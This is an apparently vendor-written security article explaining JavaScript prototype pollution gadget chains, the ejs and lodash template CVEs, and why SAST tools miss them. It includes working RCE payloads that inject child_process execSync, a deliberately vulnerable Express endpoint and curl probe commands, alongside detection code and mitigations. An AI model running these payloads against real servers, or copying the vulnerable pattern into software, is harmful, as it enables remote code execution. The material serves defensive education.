Prototype pollution: the basics your SAST tool knows about
Every JavaScript object has a prototype โ the object it inherits properties from. For plain objects created with {}, that prototype is Object.prototype. When you access a property on an object, JavaScript walks up the prototype chain if it doesn't find the property on the object itself.
Prototype pollution happens when an attacker can write to the prototype of Object itself, making arbitrary properties appear on every object in the application. The canonical example:
// Direct prototype assignment โ SAST rules typically catch this const obj = {}; obj['__proto__']['isAdmin'] = true; // Now every plain object has isAdmin = true const user = {}; console.log(user.isAdmin); // true โ polluted from attacker input // Same via constructor prototype obj.constructor.prototype.isAdmin = true; // If the key comes from user input, SAST still usually catches it: function setProperty(obj, key, value) { obj[key] = value; // SAST: "potential prototype pollution" }
Your Semgrep rule for obj[key] = value where key might be user-controlled fires here. Great. The problem is that this is not how modern prototype pollution exploits work in real codebases.
The gap: SAST rules pattern-match on the pollution source โ the assignment to __proto__ or a potentially-controlled property. They cannot model the gadget โ the separate piece of code, often in a library, that reads from Object.prototype in a dangerous way that the pollution enables. The source and the gadget are typically in completely different files, different packages, and separated by multiple function call layers.
What a gadget is and why SAST cannot find the chain
A gadget is a piece of existing code that, when a specific property exists on Object.prototype, executes that value in a dangerous way โ evaluates it as code, passes it to a shell, writes it to the filesystem, etc. The gadget itself is often completely legitimate code that's just reading a configuration option from what it thinks is its own options object.
Here is the conceptual flow:
Three completely separate locations in the codebase (or library code) are involved:
- The request handler that merges user JSON into an options object (using
_.merge) _.mergeitself innode_modules/lodashwhich doesn't sanitize__proto__keys- The ejs template renderer in
node_modules/ejswhich readsoutputFunctionNamefrom options
A SAST tool doing taint analysis would need to:
- Track user input through
JSON.parse - Understand that
_.merge()with a__proto__key in user input pollutes the global Object prototype - Model that a property set on
Object.prototypebecomes visible on every subsequent object created in the process - Follow the cross-library call to
ejs.renderFilewhere the options parameter reads from the prototype chain - Recognize that
outputFunctionNameis evaluated as code in ejs
No production rule-based SAST tool does this analysis end-to-end. It requires semantic understanding of lodash's merge semantics, prototype chain inheritance, and ejs's internal template compilation โ across three separate npm packages.
CVE-2022-29078: ejs + prototype pollution = RCE
This is a real, critical CVE (CVSS 9.8) that perfectly illustrates the gadget chain problem. ejs is one of the most widely-used Node.js templating engines โ millions of applications depend on it. The vulnerability was not in ejs's own code being poorly written; it was in ejs reading from the options object in a way that became dangerous when combined with prototype pollution from elsewhere.
// Inside ejs (simplified โ before the fix) function compile(template, opts) { // opts comes from the caller โ but if Object.prototype is polluted, // reading opts.outputFunctionName gets the attacker's value var outputFunctionName = opts.outputFunctionName; // This string gets eval'd as a function body var src = '"use strict"\n'; if (outputFunctionName) { src += 'var ' + outputFunctionName + ' = [];\n'; // โ attacker controls this string, injecting arbitrary JS } // src gets compiled via new Function(src) } // The exploit payload in the HTTP request body: // { // "__proto__": { // "outputFunctionName": "_tmp1;require('child_process').execSync('id > /tmp/pwned');//" // } // } // When merged via _.merge(config, userInput) and then ejs renders any template: // new Function('var _tmp1;require("child_process").execSync("id > /tmp/pwned");//... = []') // โ executes on the server
const express = require('express'); const ejs = require('ejs'); // versions < 3.1.7 const _ = require('lodash'); // versions < 4.17.21 const app = express(); app.use(express.json()); // This endpoint looks completely benign to SAST app.post('/settings', async (req, res) => { // User provides their display preferences const userPrefs = req.body; const defaults = { theme: 'dark', language: 'en' }; // Merge user preferences with defaults โ looks fine to SAST const config = _.merge({}, defaults, userPrefs); // Render a template with the config const html = await ejs.renderFile('views/settings.ejs', { config }); res.send(html); }); // SAST sees: express endpoint, _.merge, ejs.renderFile // SAST does NOT see: that _.merge on user JSON pollutes __proto__, // and that ejs reads outputFunctionName from the prototype chain // and evals it. No taint flow alert. No warning. Clean report.
Fixed in: ejs 3.1.7 (added if (outputFunctionName && !hasOwnProperty(opts, 'outputFunctionName')) check), lodash 4.17.21 (sanitized __proto__ in merge/set operations). But the pattern โ any library reading from an options object without hasOwnProperty checks, combined with a merge of user input โ is everywhere in the npm ecosystem.
The lodash template gadget (CVE-2021-23337)
Lodash's own _.template() function is also a gadget for prototype pollution. If an attacker can pollute Object.prototype.variable, lodash's template compiler uses that value in a with statement construction, turning it into code execution.
// Step 1: Pollute Object.prototype.variable const payload = JSON.parse('{"__proto__":{"variable":"a;process.mainModule.require(\'child_process\').execSync(\'id\');//"}}'); _.merge({}, payload); // Now Object.prototype.variable = "a;process.mainModule.require('child_process').execSync('id');//" // Step 2: Somewhere else in the application, a template is compiled // (could be in a completely different module) const template = _.template('Hello <%= name %>'); // lodash reads opts.variable from the prototype chain // constructs: "with(obj){ a;process.mainModule.require('child_process').execSync('id');//... }" // compiles this as a function โ executes on call const result = template({ name: 'World' }); // โ RCE happens here // What SAST sees on the vulnerable line: _.merge({}, userInput) // Some SAST tools might flag this as "prototype pollution source" // None will trace the sink to _.template() in a different module
The timing problem: The pollution happens at request handling time. The template compilation might happen at application startup (caching compiled templates for performance). In that case, the exploit doesn't work directly โ but if the template is compiled per-request or on first use, the window opens. This timing dependency makes the vulnerability even harder for a SAST tool to reason about statically.
Exactly why SAST cannot model this
Let's be precise about what SAST tools can and cannot do for prototype pollution:
What rule-based SAST (Semgrep, etc.) can detect
- Direct
obj[key] = valuewherekeyis directly derived from user input (e.g.,req.body.key) - Direct
Object.prototype[attrib] = valuepatterns - String patterns like
__proto__appearing in property access code - Known vulnerable function calls:
_.merge,_.extend,_.setwith user input (with good rules)
What SAST cannot model
- The cross-package taint flow: user input โ lodash internals โ Object.prototype โ ejs internals โ eval
- That
Object.prototypepollution is global and affects code running later in a different module - Which specific properties, when polluted, activate which gadgets in which library versions
- That reading an option with
opts.someProperty(withouthasOwnPropertyguard) is a gadget sink when that property doesn't normally exist on opts
rules: - id: prototype-pollution-via-merge patterns: - pattern: | _.merge($DEST, ..., $USER_INPUT, ...) - pattern-either: - pattern: $USER_INPUT = $REQ.body - pattern: $USER_INPUT = $REQ.query - pattern: $USER_INPUT = JSON.parse(...) message: "_.merge with user-controlled input may enable prototype pollution" severity: WARNING # This rule fires on the merge โ correct. # It does NOT tell you whether there is an ejs.renderFile or _.template # call anywhere in the codebase that makes this exploitable as RCE. # It reports the same severity whether the gadget exists or not. # Without the gadget analysis, the finding severity is wrong.
The result: SAST flags _.merge with user input as a warning, which developers learn to treat as low-severity noise (because merging user preferences into defaults is a completely standard pattern). Without the gadget chain analysis, the tool cannot determine that this specific merge, combined with ejs rendering, is critical-severity RCE. Alert fatigue causes the real finding to be dismissed along with the false positives.
The real CVE landscape
lodash defaultsDeep prototype pollution
_.defaultsDeep(object, source) where source contains a __proto__ key. Affects all lodash versions before 4.17.12. One of the most widely-referenced PP CVEs.
lodash zipObjectDeep / merge
_.zipObjectDeep with attacker-controlled path pollutes prototype. Also covers additional merge functions not fixed in the 4.17.12 patch. Requires lodash 4.17.16+.
lodash template command injection via PP
If Object.prototype.variable is polluted, _.template() compiles the polluted value into the function body. Results in code execution on template compilation.
ejs outputFunctionName RCE
ejs reads opts.outputFunctionName without hasOwnProperty check. When Object.prototype.outputFunctionName is polluted, ejs injects the value into an evaluated function body.
jQuery $.extend deep merge PP
$.extend(true, {}, userControlledObj) with a __proto__ key in userControlledObj. Affects both server-side jQuery usage and browser-side if input is attacker-controlled.
loader-utils prototype pollution
Webpack's loader-utils parseQuery function allowed prototype pollution via crafted query strings. Affected the webpack build toolchain itself โ potentially a supply chain vector.
Detection and testing
Since SAST misses the gadget chain, you need dynamic testing to find exploitable prototype pollution. The most practical approach is automated fuzzing of your API endpoints with PP payloads and observing side effects.
# Test 1: Basic prototype pollution probe curl -X POST https://your-app.com/api/settings \ -H 'Content-Type: application/json' \ -d '{"__proto__":{"polluted":true}}' # Test 2: Constructor prototype path curl -X POST https://your-app.com/api/settings \ -H 'Content-Type: application/json' \ -d '{"constructor":{"prototype":{"polluted":true}}}' # Test 3: ejs outputFunctionName gadget probe # Safe indicator: if the response contains "id" command output curl -X POST https://your-app.com/api/settings \ -H 'Content-Type: application/json' \ -d '{"__proto__":{"outputFunctionName":"_tmp1;global.polluted=true;//"}}' # After sending the above, probe a template-rendering endpoint: curl https://your-app.com/ # if this crashes or behaves differently โ potential gadget # Test 4: pp-finder โ automated gadget discovery # https://github.com/nicktindall/pp-finder node -e " const ppfinder = require('pp-finder'); // Load your app's dependencies to find gadgets ppfinder.scan({ packages: ['ejs', 'lodash', 'handlebars', 'pug'], properties: ['outputFunctionName', 'variable', 'proto', 'constructor'] }).then(gadgets => console.log(JSON.stringify(gadgets, null, 2))); "
// Add this to your integration test suite // Run it after any request that processes user JSON function checkPrototypePollution() { const knownSafe = [ // Properties that should never appear on a fresh plain object 'polluted', 'outputFunctionName', 'variable', 'escape', '__exposeStack' ]; const fresh = {}; for (const prop of knownSafe) { if (fresh[prop] !== undefined) { throw new Error(`Object.prototype polluted: fresh object has .${prop} = ${fresh[prop]}`); } } } // In Express middleware โ run after every request in testing: app.use((req, res, next) => { res.on('finish', () => { try { checkPrototypePollution(); } catch (e) { console.error('PROTOTYPE POLLUTION DETECTED:', e.message); } }); next(); });
Fixes: from patching to architectural changes
1. Upgrade โ the obvious one
Lodash 4.17.21+, ejs 3.1.7+, jQuery 3.4+. These versions added hasOwnProperty checks in merge/extend/deep operations. But upgrading your direct dependency doesn't fix the same package coming in transitively (see the SCA post).
2. Sanitize input before deep merging
// Option 1: JSON.parse with prototype-safe reviver function safeParseJSON(str) { return JSON.parse(str, (key, value) => { if (key === '__proto__' || key === 'constructor' || key === 'prototype') { return undefined; } return value; }); } // Option 2: Use Object.create(null) for merge targets // Objects created with null prototype have no prototype chain to pollute const safeTarget = Object.create(null); _.merge(safeTarget, userInput); // safeTarget.__proto__ is undefined, not Object.prototype // Option 3: Use structured clone (Node 17+) โ doesn't copy non-serializable const safe = structuredClone(userInput); // structuredClone ignores __proto__ keys in the serialization // Option 4: Freeze Object.prototype in test environments to catch pollution early Object.freeze(Object.prototype); // Any attempt to write to Object.prototype will throw in strict mode
3. Validate input with a schema before any processing
Use a JSON Schema validator (Ajv, Joi, Zod) with additionalProperties: false and an explicit allowlist of expected properties. Reject any input containing __proto__, constructor, or prototype keys at the API boundary โ before it reaches any merge or deep copy function.
4. Freeze Object.prototype in production
// At the very top of your main entry point, before any requires if (process.env.NODE_ENV === 'production') { Object.freeze(Object.prototype); Object.freeze(Function.prototype); Object.freeze(Array.prototype); } // Caveat: this can break libraries that legitimately extend prototypes. // Test thoroughly before enabling in production. // In strict mode, pollution attempts throw instead of silently failing. // Alternative: use --frozen-intrinsics flag in Node.js (experimental) // node --frozen-intrinsics app.js
Freezing Object.prototype is not a silver bullet: Some libraries depend on prototype extension at startup (polyfills, certain testing frameworks). Audit carefully before enabling this in production. It is, however, an excellent control for test environments where it will immediately reveal prototype pollution from any test case.
Find the gadget chains your SAST rules miss
AquilaX AI SAST models data flow across package boundaries โ combining taint analysis with knowledge of known gadget sinks in popular libraries. It finds the exploitable chains, not just the sources.